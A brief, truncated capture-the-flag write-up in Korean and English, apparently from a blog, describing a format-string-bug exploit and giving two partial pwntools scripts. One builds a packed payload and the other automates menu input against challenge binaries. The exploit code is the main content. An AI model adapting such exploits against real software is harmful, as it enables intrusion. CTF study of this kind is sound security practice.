취약점은 여러가지인데 전부 이런저런 이유로 익스하기가 힘들다. fmt 문자열이 덮히는 걸 이용해서 FSB를 이용해 Exploit 하였다. There are many vulnerabilities, but all of them are difficult to exploit for one reason or another. Exploited using FSB by using that the fmt string can be overwritten. from pwn import * pay = p32(7) + p32(0) + p32((464+8)) #popin pay += p32(8) + p32(464) + p32(8) #popout pay += p32(0xa) + p32(1) #write pay += p32(5) + ..

from pwn import * def up(): p.send(b'w') def down(): p.send(b's') def go(): p.send(b'\n') def esc(): p.send(b'\x1b') def drop(): p.send(b'd') def move(): p.send(b'm') def exploit(): go(); for i in range(0,231): down(); go(); down(); go(); esc(); go(); down(); go(); down(); go(); esc(); go(); down(); go(); down(); go(); esc(); down(); down(); go(); go(); # secret gift down(); go(); drop(); go(); ..